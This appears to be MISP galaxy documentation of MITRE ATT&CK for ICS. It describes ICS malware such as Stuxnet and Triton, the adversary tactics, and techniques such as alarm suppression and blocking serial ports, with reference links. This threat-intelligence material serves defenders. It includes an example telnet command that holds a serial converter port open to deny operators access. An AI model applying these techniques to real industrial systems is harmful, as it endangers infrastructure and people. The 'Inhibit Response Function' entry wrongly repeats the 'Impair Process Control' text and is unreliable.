Industroyer is a sophisticated piece of malware designed to cause an Impact to the working processes of Industrial Control Systems (ICS), specifically ICSs used in electrical substations.1 Industroyer was alleged to be used in the attacks on the Ukrainian power grid in December 2016.

The tag is: *misp-galaxy:mitre-ics-software="Industroyer"*

Table 10610. Table References

Links
https://www.welivesecurity.com/wp-content/uploads/2017/06/Win32_Industroyer.pdf
https://dragos.com/blog/crashoverride/CrashOverride-01.pdf
https://www.us-cert.gov/ncas/alerts/TA17-163A
https://dragos.com/wp-content/uploads/CRASHOVERRIDE2018.pdf
https://dragos.com/wp-content/uploads/CRASHOVERRIDE.pdf

KillDisk

In 2015 the BlackEnergy malware contained a component called KillDisk. KillDisk's main functionality is to overwrite files with random data, rendering the OS unbootable.

The tag is: *misp-galaxy:mitre-ics-software="KillDisk"*

Table 10611. Table References

Links
https://www.welivesecurity.com/2016/01/03/blackenergy-sshbeardoor-details-2015-attacks-ukrainian-news-media-electric-industry/
https://www.boozallen.com/content/dam/boozallen/documents/2016/09/ukraine-report-when-the-lights-went-out.pdf

LockerGoga

LockerGoga is ransomware that has been tied to various attacks on industrial and manufacturing firms with apparently catastrophic consequences.

The tag is: *misp-galaxy:mitre-ics-software="LockerGoga"*

Table 10612. Table References

Links
https://www.wired.com/story/lockergoga-ransomware-crippling-industrial-firms/
https://doublepulsar.com/how-lockergoga-took-down-hydro-ransomware-used-in-targeted-attacks-aimed-at-big-business-c666551f5880
https://www.hydro.com/en/media/on-the-agenda/cyber-attack/

NotPetya

NotPetya is malware that was first seen in a worldwide attack starting on June 27, 2017. The main purpose of the malware appeared to be to effectively destroy data and disk structures on compromised systems. Though NotPetya presents itself as a form of ransomware, it appears likely that the attackers never intended to make the encrypted data recoverable. As such, NotPetya may be more appropriately thought of as a form of wiper malware. NotPetya contains self-propagating (“wormable”) features to spread itself across a computer network using the SMBv1 exploits EternalBlue and EternalRomance.

The tag is: *misp-galaxy:mitre-ics-software="NotPetya"*

Table 10613. Table References

Links
https://attack.mitre.org/software/S0368/
https://dragos.com/blog/industry-news/implications-of-it-ransomware-for-ics-environments/
https://www.bloomberg.com/news/features/2019-12-03/merck-cyberattack-s-1-3-billion-question-was-it-an-act-of-war

PLC-Blaster

PLC-Blaster is a piece of proof-of-concept malware that runs on Siemens S7 PLCs. This worm locates other Siemens S7 PLCs on the network and attempts to infect them. Once this worm has infected its target and attempted to infect other devices on the network, the worm can then run one of many modules.

The tag is: *misp-galaxy:mitre-ics-software="PLC-Blaster"*

Table 10614. Table References

Links

https://www.blackhat.com/docs/asia-16/materials/asia-16-Spenneberg-PLC-Blaster-A-Worm-Living-Solely-In-The-PLC-wp.pdf

Ryuk

Ryuk is ransomware that was first seen targeting large organizations for high-value ransoms in August of 2018. Ryuk temporarily disrupted operations at a manufacturing firm in 2018.

The tag is: *misp-galaxy:mitre-ics-software="Ryuk"*

Table 10615. Table References

Links
https://www.crowdstrike.com/blog/big-game-hunting-with-ryuk-another-lucrative-targeted-ransomware/
https://www.darkreading.com/attacks-breaches/how-a-manufacturing-firm-recovered-from-a-devastating-ransomware-attack/d/d-id/1334760

Stuxnet

Stuxnet was the first publicly reported piece of malware to specifically target industrial control systems devices. Stuxnet is a large and complex piece of malware that utilized multiple different complex tactics including multiple zero-day vulnerabilites, a sophisticated Windows rootkit, and network infection routines.

The tag is: *misp-galaxy:mitre-ics-software="Stuxnet"*

Table 10616. Table References

Links
https://www.wired.com/images_blogs/threatlevel/2010/11/w32_stuxnet_dossier.pdf
https://www.symantec.com/security-center/writeup/2010-071400-3123-99
https://www.us-cert.gov/ics/advisories/ICSA-10-238-01B
https://scadahacker.com/resources/stuxnet-mitigation.html
https://www.langner.com/wp-content/uploads/2017/03/to-kill-a-centrifuge.pdf

Triton

Triton is an attack framework built to interact with Triconex Safety Instrumented System (SIS) controllers

The tag is: *misp-galaxy:mitre-ics-software="Triton"*

Table 10617. Table References

Links

https://www.fireeye.com/blog/threat-research/2017/12/attackers-deploy-new-ics-attack-framework-triton.html
https://dragos.com/blog/trisis/TRISIS-01.pdf
https://ics-cert.us-cert.gov/sites/default/files/documents/MAR-17-352-01%20HatMan%20-%20Safety%20System%20Targeted%20Malware%20%28Update%20B%29.pdf
https://www.youtube.com/watch?v=f09E75bWvkk&index=3&list=PL8OWO1qWXF4qYG19p7An4Vw3N2YZ86aRS&t=0s
https://www.youtube.com/watch?v=XwSJ8hloGvY
https://download.schneider-electric.com/files?p_enDocType=Technical+leaflet&p_File_Name=SEVD-2017-347-01+Triconex+V3.pdf&p_Doc_Ref=SEVD-2017-347-01
https://www.midnightbluelabs.com/blog/2018/1/16/analyzing-the-triton-industrial-malware
https://ics-cert.us-cert.gov/advisories/ICSA-18-107-02
https://nvd.nist.gov/vuln/detail/CVE-2018-8872
https://cwe.mitre.org/data/definitions/119.html
https://www.nrc.gov/docs/ML1209/ML120900890.pdf
https://github.com/MDudek-ICS/TRISIS-TRITON-HATMAN/tree/master/decompiled_code/library

VPNFilter

VPNFilter is a multi-stage, modular platform with versatile capabilities to support both intelligence-collection and destructive cyber attack operations. VPNFilter modules such as its packet sniffer ('ps') can collect traffic that passes through an infected device, allowing the theft of website credentials and monitoring of Modbus SCADA protocols

The tag is: *misp-galaxy:mitre-ics-software="VPNFilter"*

Table 10618. Table References

Links
https://blog.talosintelligence.com/2018/06/vpnfilter-update.html
https://www.youtube.com/watch?v=yuZazP22rpI

WannaCry

WannaCry is ransomware that was first seen in a global attack during May 2017, which affected more than 150 countries. It contains self-propagating (“wormable”) features to spread itself across a computer network using the SMBv1 exploit EternalBlue.

The tag is: *misp-galaxy:mitre-ics-software="WannaCry"*

Table 10619. Table References

Links
https://attack.mitre.org/software/S0366/
https://www.us-cert.gov/ncas/alerts/TA17-132A
https://dragos.com/blog/industry-news/implications-of-it-ransomware-for-ics-environments/

Tactics

A list of all 11 tactics in ATT&CK for ICS.

Tactics is a cluster galaxy available in JSON format at **this location** The JSON format can be freely reused in your application or automatically enabled in MISP.

authors

MITRE

Collection

The adversary is trying to gather data of interest and domain knowledge on your ICS environment to inform their goal. Collection consists of techniques adversaries use to gather domain knowledge and obtain contextual feedback in an ICS environment. This tactic is often performed as part of Discovery, to compile data on control systems and targets of interest that may be used to follow through on the adversary's objective. Examples of these techniques include observing operation states, capturing screenshots, identifying unique device roles, and gathering system and diagram schematics. Collection of this data can play a key role in planning, executing, and even revising an ICS-targeted attack. Methods of collection depend on the categories of data being targeted, which can include protocol specific, device specific, and process specific configurations and functionality. Information collected may pertain to a combination of system, supervisory, device, and network related data, which conceptually fall under high, medium, and low levels of plan operations. For example, information repositories on plant data at a high level or device specific programs at a low level. Sensitive floor plans, vendor device manuals, and other refs may also be at risk and exposed on the internet or otherwise publicly accessible.

The tag is: *misp-galaxy:mitre-ics-tactics="Collection"*

Table 10620. Table References

Links
https://www.blackhat.com/docs/asia-16/materials/asia-16-Spenneberg-PLC-Blaster-A-Worm-Living-Solely-In-The-PLC.pdf
https://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-82r2.pdf
http://www.research.lancs.ac.uk/portal/files/196578358/sample_sigconf.pdf
https://www.us-cert.gov/ncas/alerts/TA17-293A

Command and Control

The adversary is trying to communicate with and control compromised systems, controllers, and platforms with access to your ICS environment. Command and Control consists of techniques that adversaries use to communicate with and send commands to compromised systems, devices, controllers, and platforms with specialized applications used in ICS environments. Examples of these specialized communication devices include human machine interfaces (HMIs), data historians, SCADA servers, and engineering workstations (EWS). Adversaries often seek to use commonly available resources and mimic expected network traffic to avoid detection and suspicion. For instance, commonly used ports and protocols in ICS environments, and even expected IT resources, depending on the target network. Command and Control may be established to varying degrees of stealth, often depending on the victim's network structure and defenses.

The tag is: *misp-galaxy:mitre-ics-tactics="Command and Control"*

Table 10621. Table References

Links
https://attack.mitre.org/wiki/Technique/T1090

Discovery

The adversary is trying to figure out your ICS environment. Discovery consists of techniques that adversaries use to survey your ICS environment and gain knowledge about the internal network, control system devices, and how their processes interact. These techniques help adversaries observe the environment and determine next steps for target selection and Lateral Movement. They also allow adversaries to explore what they can control and gain insight on interactions between various control system processes. Discovery techniques are often an act of progression into the environment which enable the adversary to orient themselves before deciding how to act. Adversaries may use Discovery techniques that result in Collection, to help determine how available resources benefit their current objective. A combination of native device communications and functions, and custom tools are often used toward this post-compromise information-gathering objective.

The tag is: *misp-galaxy:mitre-ics-tactics="Discovery"*

Table 10622. Table References

Links
https://attack.mitre.org/wiki/Technique/T1049
https://attack.mitre.org/wiki/Technique/T1040
https://attack.mitre.org/wiki/Technique/T1018

Evasion

The adversary is trying to avoid being detected.Evasion consists of techniques that adversaries use to avoid detection by both human operators and technical defenses throughout their compromise.

Techniques used for evasion include removal of indicators of compromise, spoofing communications and reporting, and exploiting software vulnerabilities. Adversaries may also leverage and abuse trusted devices and processes to hide their activity, possibly by masquerading as master devices or native software. Methods of defense and operator evasion for this purpose are often more passive in nature, as opposed to Inhibit Response Function techniques. They may also vary depending on whether the target of evasion is human or technological in nature, such as security controls. Techniques under other tactics are cross-listed to evasion when those techniques include the added benefit of subverting operators and defenses.

The tag is: *misp-galaxy:mitre-ics-tactics="Evasion"*

Table 10623. Table References

Links
https://www.mitre.org/sites/default/files/pdf/08_1145.pdf
https://attack.mitre.org/wiki/Technique/T1014
http://ieeexplore.ieee.org/stamp/stamp.jsp?tp=&arnumber=6142258

Execution

The adversary is trying to run malicious code. Execution consists of techniques that result in adversary-controlled code running on a local or remote system, device, or other asset. This execution may also rely on unknowing end users or the manipulation of device operating modes to run. Adversaries may infect remote targets with programmed executables or malicious project files that operate according to specified behavior and may alter expected device behavior in subtle ways. Commands for execution may also be issued from command-line interfaces, APIs, GUIs, or other available interfaces. Techniques that run malicious code may also be paired with techniques from other tactics, particularly to aid network Discovery and Collection, impact operations, and inhibit response functions.

The tag is: *misp-galaxy:mitre-ics-tactics="Execution"*

Table 10624. Table References

Links
https://attack.mitre.org/wiki/Technique/T1059
https://ics.sans.org/media/E-ISAC_SANS_Ukraine_DUC_5.pdf
https://www.sans.org/reading-room/whitepapers/ICS/man-in-the-middle-attack-modbus-tcp-illustrated-wireshark-38095
http://ieeexplore.ieee.org/stamp/stamp.jsp?tp=&arnumber=6142258
http://www.dee.ufrj.br/controle_automatico/cursos/IEC61131-3_Programming_Industrial_Automation_Systems.pdf
https://cdn.selinc.com/assets/Literature/Publications/Technical%20Papers/6560_PracticalApplications_MW_20120224_Web.pdf?v=20151125-003051

https://www.blackhat.com/docs/asia-16/materials/asia-16-Spenneberg-PLC-Blaster-A-Worm-Living-Solely-In-The-PLC-wp.pdf
https://www.wired.com/images_blogs/threatlevel/2010/11/w32_stuxnet_dossier.pdf
https://infosys.beckhoff.com/english.php?content=../content/1033/tc3_sourcecontrol/18014398915785483.html&id=
http://www.plcdev.com/book/export/html/373
https://www.boozallen.com/content/dam/boozallen/documents/2016/09/ukraine-report-when-the-lights-went-out.pdf
https://www.f-secure.com/weblog/archives/00002718.html

Impact

The adversary is trying to manipulate, interrupt, or destroy your ICS systems, data, and their surrounding environment. Impact consists of techniques that adversaries use to disrupt, compromise, destroy, and manipulate the integrity and availability of control system operations, processes, devices, and data. These techniques encompass the influence and effects resulting from adversarial efforts to attack the ICS environment or that tangentially impact it. Impact techniques can result in more instantaneous disruption to control processes and the operator, or may result in more long term damage or loss to the ICS environment and related operations. The adversary may leverage Impair Process Control techniques, which often manifest in more self-revealing impacts on operations, or Inhibit Response Function techniques to hinder safeguards and alarms in order to follow through with and provide cover for Impact. In some scenarios, control system processes can appear to function as expected, but may have been altered to benefit the adversary's goal over the course of a longer duration. These techniques might be used by adversaries to follow through on their end goal or to provide cover for a confidentiality breach. Loss of Productivity and Revenue, Theft of Operational Information, and Damage to Property are meant to encompass some of the more granular goals of adversaries in targeted and untargeted attacks. These techniques in and of themselves are not necessarily detectable, but the associated adversary behavior can potentially be mitigated and/or detected.

The tag is: *misp-galaxy:mitre-ics-tactics="Impact"*

Table 10625. Table References

Links
https://www.bsi.bund.de/SharedDocs/Downloads/EN/BSI/Publications/Securitysituation/IT-Security-Situation-in-Germany-2014.pdf?blob=publicationFile&v=3
https://www.mitre.org/sites/default/files/pdf/08_1145.pdf
https://www.londonreconnections.com/2017/hacked-cyber-security-railways/
https://inhomelandsecurity.com/teen_hacker_in_poland_plays_tr/

https://www.schneier.com/blog/archives/2008/01/hacking_the_pol.html
https://www.corero.com/resources/files/whitepapers/cns_whitepaper_ics.pdf
https://www.sans.org/reading-room/whitepapers/ICS/industrial-control-system-cyber-kill-chain-36297
https://books.google.com/books?id=oXIYBAAAQBAJ&pg=PA249&lpg=PA249&dq=loss+denial+manipulation+of+view&source=bl&ots=dV1uQ8IUff&sig=ACfU3U2NIwGjhg051D_Ytw6npyEk9xcf4w&hl=en&sa=X&ved=2ahUKEwj2wJ7y4tDlAhVmplkKHSTaDnQQ6AEwAHoECAgQAQ#v=onepage&q=loss%20denial%20manipulation%20of%20view&f=false
https://time.com/4270728/iran-cyber-attack-dam-fbi/
https://www.wsj.com/articles/iranian-hackers-infiltrated-new-york-dam-in-2013-1450662559

Impair Process Control

The adversary is trying to manipulate, disable, or damage physical control processes. Impair Process Control consists of techniques that adversaries use to disrupt control logic and cause determinantal effects to processes being controlled in the target environment. Targets of interest may include active procedures or parameters that manipulate the physical environment. These techniques can also include prevention or manipulation of reporting elements and control logic. If an adversary has modified process functionality, then they may also obfuscate the results, which are often self-revealing in their impact on the outcome of a product or the environment. The direct physical control these techniques exert may also threaten the safety of operators and downstream users, which can prompt response mechanisms. Adversaries may follow up with or use Inhibit Response Function techniques in tandem, to assist with the successful abuse of control processes to result in Impact.

The tag is: *misp-galaxy:mitre-ics-tactics="Impair Process Control"*

Table 10626. Table References

Links
https://www.langner.com/wp-content/uploads/2017/03/to-kill-a-centrifuge.pdf
https://www.mitre.org/sites/default/files/pdf/08_1145.pdf
https://www.researchgate.net/publication/228849043_Leveraging_ethernet_card_vulnerabilities_in_field_devices
https://attack.mitre.org/techniques/T1489/
http://ieeexplore.ieee.org/stamp/stamp.jsp?tp=&arnumber=6142258
https://ics.sans.org/media/E-ISAC_SANS_Ukraine_DUC_5.pdf

Inhibit Response Function

The adversary is trying to manipulate, disable, or damage physical control processes. Impair Process Control consists of techniques that adversaries use to disrupt control logic and cause determinantal effects to processes being controlled in the target environment. Targets of interest

may include active procedures or parameters that manipulate the physical environment. These techniques can also include prevention or manipulation of reporting elements and control logic. If an adversary has modified process functionality, then they may also obfuscate the results, which are often self-revealing in their impact on the outcome of a product or the environment. The direct physical control these techniques exert may also threaten the safety of operators and downstream users, which can prompt response mechanisms. Adversaries may follow up with or use Inhibit Response Function techniques in tandem, to assist with the successful abuse of control processes to result in Impact.

The tag is: *misp-galaxy:mitre-ics-tactics="Inhibit Response Function"*

Table 10627. Table References

Links
https://www.mitre.org/sites/default/files/pdf/08_1145.pdf
https://troopers.de/downloads/troopers19/TROOPERS19_NGI_IoT_diet_poisoned_fruit.pdf
http://ieeexplore.ieee.org/stamp/stamp.jsp?tp=&arnumber=6142258
https://ics.sans.org/media/E-ISAC_SANS_Ukraine_DUC_5.pdf
https://attack.mitre.org/wiki/Technique/T1107
https://www.us-cert.gov/ics/alerts/ICS-ALERT-17-102-01A
https://ics-cert.us-cert.gov/advisories/ICSA-15-202-01
http://cwe.mitre.org/data/definitions/400.html
https://nvd.nist.gov/vuln/detail/CVE-2015-5374
https://www.isa.org/standards-and-publications/isa-publications/intech/2010/december/programmable-logic-controller-hardware/
https://www.langner.com/wp-content/uploads/2017/03/to-kill-a-centrifuge.pdf
https://attack.mitre.org/wiki/Technique/T1014
http://www.sciencedirect.com/science/article/pii/S1874548213000231

Initial Access

The adversary is trying to get into your ICS environment. Initial Access consists of techniques that adversaries may use as entry vectors to gain an initial foothold within an ICS environment. These techniques include compromising operational technology assets, IT resources in the OT network, and external remote services and websites. They may also target third party entities and users with privileged access. In particular, these initial access footholds may include devices and communication mechanisms with access to and privileges in both the IT and OT environments. IT resources in the OT environment are also potentially vulnerable to the same attacks as enterprise IT systems. Trusted third parties of concern may include vendors, maintenance personnel, engineers, external integrators, and other outside entities involved in expected ICS operations. Vendor maintained assets may include physical devices, software, and operational equipment. Initial access techniques may also leverage outside devices, such as radios, controllers, or removable media, to remotely interfere with and possibly infect OT operations.

The tag is: *misp-galaxy:mitre-ics-tactics="Initial Access"*

Table 10628. Table References

Links
https://dragos.com/wp-content/uploads/CRASHOVERRIDE2018.pdf
https://www.us-cert.gov/ncas/alerts/TA18-074A
https://www.us-cert.gov/ics/alerts/ICS-ALERT-14-281-01B
https://attack.mitre.org/wiki/Technique/T1133
https://ics.sans.org/media/E-ISAC_SANS_Ukraine_DUC_5.pdf
https://www.wired.com/2016/03/inside-cunning-unprecedented-hack-ukraines-power-grid/
https://ics-cert.us-cert.gov/alerts/IR-ALERT-H-16-056-01
https://www.fireeye.com/blog/threat-research/2016/01/ukraine-and-sandworm-team.html
https://www.us-cert.gov/sites/default/files/Monitors/ICS-CERT_Monitor_Jan-April2014.pdf
https://www.wsj.com/articles/iranian-hackers-infiltrated-new-york-dam-in-2013-1450662559
https://time.com/4270728/iran-cyber-attack-dam-fbi/
https://www.kkw-gundremmingen.de/presse.php?id=571
https://www.trendmicro.com/vinfo/us/security/news/cyber-attacks/malware-discovered-in-german-nuclear-power-plant
https://www.reuters.com/article/us-nuclearpower-cyber-germany/german-nuclear-plant-infected-with-computer-viruses-operator-says-idUSKCN0XN2OS
https://news.softpedia.com/news/on-chernobyl-s-30th-anniversary-malware-shuts-down-german-nuclear-power-plant-503429.shtml
https://www.sciencealert.com/multiple-computer-viruses-have-been-discovered-in-this-german-nuclear-plant
https://www.geek.com/apps/german-nuclear-plant-found-riddled-with-conficker-other-viruses-1653415/
https://arstechnica.com/information-technology/2016/04/german-nuclear-plants-fuel-rod-system-swarming-with-old-malware/
https://www.darkreading.com/endpoint/german-nuclear-power-plant-infected-with-malware/d/d-id/1325298
https://www.bbc.com/news/technology-36158606
https://www.welivesecurity.com/2016/04/28/malware-found-german-nuclear-power-plant/
https://attack.mitre.org/techniques/T1193/
https://www.f-secure.com/weblog/archives/00002718.html
https://www.blackhat.com/docs/us-14/materials/us-14-Bolshev-ICSCorsair-How-I-Will-PWN-Your-ERP-Through-4-20mA-Current-Loop-WP.pdf
https://www.slideshare.net/dgpeters/17-bolshev-1-13

https://www.mitre.org/sites/default/files/pdf/08_1145.pdf
https://www.londonreconnections.com/2017/hacked-cyber-security-railways/
https://inhomelandsecurity.com/teen_hacker_in_poland_plays_tr/
https://www.schneier.com/blog/archives/2008/01/hacking_the_pol.html

Techniques

A list of Techniques in ATT&CK for ICS..

Techniques is a cluster galaxy available in JSON format at **this location** The JSON format can be freely reused in your application or automatically enabled in MISP.

authors

MITRE

Activate Firmware Update Mode

Adversaries may activate firmware update mode on devices to prevent expected response functions from engaging in reaction to an emergency or process malfunction. For example, devices such as protection relays may have an operation mode designed for firmware installation. This mode may halt process monitoring and related functions to allow new firmware to be loaded. A device left in update mode may be placed in an inactive holding state if no firmware is provided to it. By entering and leaving a device in this mode, the adversary may deny its usual functionalities.

The tag is: *misp-galaxy:mitre-ics-techniques="Activate Firmware Update Mode"*

Table 10629. Table References

Links
https://dragos.com/wp-content/uploads/CRASHOVERRIDE.pdf
https://www.welivesecurity.com/wp-content/uploads/2017/06/Win32_Industroyer.pdf

Alarm Suppression

Adversaries may target protection function alarms to prevent them from notifying operators of critical conditions. Alarm messages may be a part of an overall reporting system and of particular interest for adversaries. Disruption of the alarm system does not imply the disruption of the reporting system as a whole. In the Maroochy Attack, the adversary suppressed alarm reporting to the central computer. A Secura presentation on targeting OT notes a dual fold goal for adversaries attempting alarm suppression: prevent outgoing alarms from being raised and prevent incoming alarms from being responded to. The method of suppression may greatly depend on the type of alarm in question: An alarm raised by a protocol message. An alarm signaled with I/O. An alarm bit set in a flag and read In ICS environments, the adversary may have to suppress or contend with multiple alarms and/or alarm propagation to achieve a specific goal to evade detection or prevent intended responses from occurring.2 Methods of suppression may involve tampering or altering

device displays and logs, modifying in memory code to fixed values, or even tampering with assembly level instruction code.

The tag is: *misp-galaxy:mitre-ics-techniques="Alarm Suppression"*

Table 10630. Table References

Links
https://www.mitre.org/sites/default/files/pdf/08_1145.pdf
https://troopers.de/downloads/troopers19/TROOPERS19_NGI_IoT_diet_poisoned_fruit.pdf

Automated Collection

Adversaries may automate collection of industrial environment information using tools or scripts. This automated collection may leverage native control protocols and tools available in the control systems environment. For example, the OPC protocol may be used to enumerate and gather information. Access to a system or interface with these native protocols may allow collection and enumeration of other attached, communicating servers and devices.

The tag is: *misp-galaxy:mitre-ics-techniques="Automated Collection"*

Table 10631. Table References

Links
https://www.f-secure.com/weblog/archives/00002718.html
https://www.welivesecurity.com/wp-content/uploads/2017/06/Win32_Industroyer.pdf

Block Command Message

Adversaries may block a command message from reaching its intended target to prevent command execution. In OT networks, command messages are sent to provide instructions to control system devices. A blocked command message can inhibit response functions from correcting a disruption or unsafe condition. In the 2015 attack on the Ukranian power grid, malicious firmware was used to render communication devices inoperable and effectively prevent them from receiving remote command messages.

The tag is: *misp-galaxy:mitre-ics-techniques="Block Command Message"*

Table 10632. Table References

Links
http://ieeexplore.ieee.org/stamp/stamp.jsp?tp=&arnumber=6142258
https://ics.sans.org/media/E-ISAC_SANS_Ukraine_DUC_5.pdf
https://www.welivesecurity.com/wp-content/uploads/2017/06/Win32_Industroyer.pdf
https://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-82r2.pdf

Block Reporting Message

Adversaries may block or prevent a reporting message from reaching its intended target. Reporting messages relay the status of control system devices, which can include event log data and I/O values of the associated device. By blocking these reporting messages, an adversary can potentially hide their actions from an operator. Blocking reporting messages in control systems that manage physical processes may contribute to system impact, causing inhibition of a response function. A control system may not be able to respond in a proper or timely manner to an event, such as a dangerous fault, if its corresponding reporting message is blocked. In the 2015 attack on the Ukranian power grid, malicious firmware was used to render communication devices inoperable and effectively block messages from being reported.

The tag is: *misp-galaxy:mitre-ics-techniques="Block Reporting Message"*

Table 10633. Table References

Links
http://ieeexplore.ieee.org/stamp/stamp.jsp?tp=&arnumber=6142258
https://ics.sans.org/media/E-ISAC_SANS_Ukraine_DUC_5.pdf
https://www.welivesecurity.com/wp-content/uploads/2017/06/Win32_Industroyer.pdf
https://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-82r2.pdf

Block Serial COM

Adversaries may block access to serial COM to prevent instructions or configurations from reaching target devices. Serial Communication ports (COM) allow communication with control system devices. Devices can receive command and configuration messages over such serial COM. Devices also use serial COM to send command and reporting messages. Blocking device serial COM may also block command messages and block reporting messages. A serial to Ethernet converter is often connected to a serial COM to facilitate communication between serial and Ethernet devices. One approach to blocking a serial COM would be to create and hold open a TCP session with the Ethernet side of the converter. A serial to Ethernet converter may have a few ports open to facilitate multiple communications. For example, if there are three serial COM available — 1, 2 and 3 --, the converter might be listening on the corresponding ports 20001, 20002, and 20003. If a TCP/IP connection is opened with one of these ports and held open, then the port will be unavailable for use by another party. One way the adversary could achieve this would be to initiate a TCP session with the serial to Ethernet converter at 10.0.0.1 via Telnet on serial port 1 with the following command: telnet 10.0.0.1 20001.

The tag is: *misp-galaxy:mitre-ics-techniques="Block Serial COM"*

Table 10634. Table References

Links
https://www.welivesecurity.com/wp-content/uploads/2017/06/Win32_Industroyer.pdf
https://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-82r2.pdf

Brute Force I/O

Adversaries may brute force I/O addresses on a device and attempt to exhaustively perform an action. By enumerating the full range of I/O addresses, an adversary may manipulate a process function without having to target specific I/O interfaces. More than one process function manipulation and enumeration pass may occur on the targeted I/O range in a brute force attempt.

The tag is: *misp-galaxy:mitre-ics-techniques="Brute Force I/O"*

Table 10635. Table References

Links
https://www.welivesecurity.com/wp-content/uploads/2017/06/Win32_Industroyer.pdf

Change Program State

Adversaries may attempt to change the state of the current program on a control device. Program state changes may be used to allow for another program to take over control or be loaded onto the device.

The tag is: *misp-galaxy:mitre-ics-techniques="Change Program State"*

Table 10636. Table References

Links
https://www.blackhat.com/docs/asia-16/materials/asia-16-Spenneberg-PLC-Blaster-A-Worm-Living-Solely-In-The-PLC-wp.pdf
https://www.wired.com/images_blogs/threatlevel/2010/11/w32_stuxnet_dossier.pdf
https://github.com/MDudek-ICS/TRISIS-TRITON-HATMAN/tree/master/decompiled_code/library

Command-Line Interface

Adversaries may utilize command-line interfaces (CLIs) to interact with systems and execute commands. CLIs provide a means of interacting with computer systems and are a common feature across many types of platforms and devices within control systems environments. Adversaries may also use CLIs to install and run new software, including malicious tools that may be installed over the course of an operation. CLIs are typically accessed locally, but can also be exposed via services, such as SSH, Telnet, and RDP. Commands that are executed in the CLI execute with the current permissions level of the process running the terminal emulator, unless the command specifies a change in permissions context. Many controllers have CLI interfaces for management purposes.

The tag is: *misp-galaxy:mitre-ics-techniques="Command-Line Interface"*

Table 10637. Table References

Links
https://attack.mitre.org/wiki/Technique/T1059

https://www.welivesecurity.com/wp-content/uploads/2017/06/Win32_Industroyer.pdf
https://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-82r2.pdf

Commonly Used Port

Adversaries may communicate over a commonly used port to bypass firewalls or network detection systems and to blend in with normal network activity, to avoid more detailed inspection. They may use the protocol associated with the port, or a completely different protocol. They may use commonly open ports, such as the examples as follows TCP:80 (HTTP), TCP:443 (HTTPS), TCP/UDP:53 (DNS), TCP:1024-4999 (OPC on XP/Win2k3), TCP:49152-65535 (OPC on Vista and later), TCP:23 (TELNET), UDP:161 (SNMP), TCP:502 (MODBUS), TCP:102 (S7comm/ISO-TSAP), TCP:20000 (DNP3), TCP:44818 (Ethernet/IP)

The tag is: *misp-galaxy:mitre-ics-techniques="Commonly Used Port"*

Table 10638. Table References

Links
https://www.us-cert.gov/ncas/alerts/TA17-293A
https://www.wired.com/images_blogs/threatlevel/2010/11/w32_stuxnet_dossier.pdf
https://www.midnightbluelabs.com/blog/2018/1/16/analyzing-the-triton-industrial-malware
https://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-82r2.pdf

Connection Proxy

Adversaries may use a connection proxy to direct network traffic between systems or act as an intermediary for network communications. The definition of a proxy can also be expanded to encompass trust relationships between networks in peer-to-peer, mesh, or trusted connections between networks consisting of hosts or systems that regularly communicate with each other. The network may be within a single organization or across multiple organizations with trust relationships. Adversaries could use these types of relationships to manage command and control communications, to reduce the number of simultaneous outbound network connections, to provide resiliency in the face of connection loss, or to ride over existing trusted communications paths between victims to avoid suspicion.

The tag is: *misp-galaxy:mitre-ics-techniques="Connection Proxy"*

Table 10639. Table References

Links
https://attack.mitre.org/wiki/Technique/T1090
https://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-82r2.pdf
https://www.cpni.gov.uk/Documents/Publications/2014/2014-04-23-c2-report-birmingham.pdf

Damage to Property

Adversaries may cause damage and destruction of property to infrastructure, equipment, and the surrounding environment when attacking control systems. This technique may result in device and operational equipment breakdown, or represent tangential damage from other techniques used in an attack. Depending on the severity of physical damage and disruption caused to control processes and systems, this technique may result in Loss of Safety. Operations that result in Loss of Control may also cause damage to property, which may be directly or indirectly motivated by an adversary seeking to cause impact in the form of Loss of Productivity and Revenue. The German Federal Office for Information Security (BSI) reported a targeted attack on a steel mill under an incidents affecting business section of its 2014 IT Security Report. These targeted attacks affected industrial operations and resulted in breakdowns of control system components and even entire installations. As a result of these breakdowns, massive impact and damage resulted from the uncontrolled shutdown of a blast furnace. In the Maroochy Attack, Vitek Boden gained remote computer access to the control system and altered data so that whatever function should have occurred at affected pumping stations did not occur or occurred in a different way. This ultimately led to 800,000 liters of raw sewage being spilled out into the community. The raw sewage affected local parks, rivers, and even a local hotel. This resulted in harm to marine life and produced a sickening stench from the community's now blackened rivers. A Polish student used a remote controller device to interface with the Lodz city tram system in Poland.345 Using this remote, the student was able to capture and replay legitimate tram signals. This resulted in damage to impacted trams, people, and the surrounding property. Reportedly, four trams were derailed and were forced to make emergency stops.4 Commands issued by the student may have also resulted in tram collisions, causing harm to those on board and the environment outside.

The tag is: *misp-galaxy:mitre-ics-techniques="Damage to Property"*

Table 10640. Table References

Links
https://www.bsi.bund.de/SharedDocs/Downloads/EN/BSI/Publications/Securitysituation/IT-Security-Situation-in-Germany-2014.pdf?blob=publicationFile&v=3
https://www.mitre.org/sites/default/files/pdf/08_1145.pdf
https://www.londonreconnections.com/2017/hacked-cyber-security-railways/
https://inhomelandsecurity.com/teen_hacker_in_poland_plays_tr/
https://www.schneier.com/blog/archives/2008/01/hacking_the_pol.html
https://www.langner.com/wp-content/uploads/2017/03/to-kill-a-centrifuge.pdf

Data Destruction

Adversaries may perform data destruction over the course of an operation. The adversary may drop or create malware, tools, or other non-native files on a target system to accomplish this,

potentially leaving behind traces of malicious activities. Such non-native files and other data may be removed over the course of an intrusion to maintain a small footprint or as a standard part of the post-intrusion cleanup process. Data destruction may also be used to render operator interfaces unable to respond and to disrupt response functions from occurring as expected. An adversary may also destroy data backups that are vital to recovery after an incident. Standard file deletion commands are available on most operating system and device interfaces to perform cleanup, but adversaries may use other tools as well. Two examples are Windows Sysinternals SDelete and Active@ Killdisk.

The tag is: *misp-galaxy:mitre-ics-techniques="Data Destruction"*

Table 10641. Table References

Links
https://attack.mitre.org/wiki/Technique/T1107
https://dragos.com/blog/crashoverride/CrashOverride-01.pdf
https://www.welivesecurity.com/2016/01/03/blackenergy-sshbeardoor-details-2015-attacks-ukrainian-news-media-electric-industry/
https://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-82r2.pdf
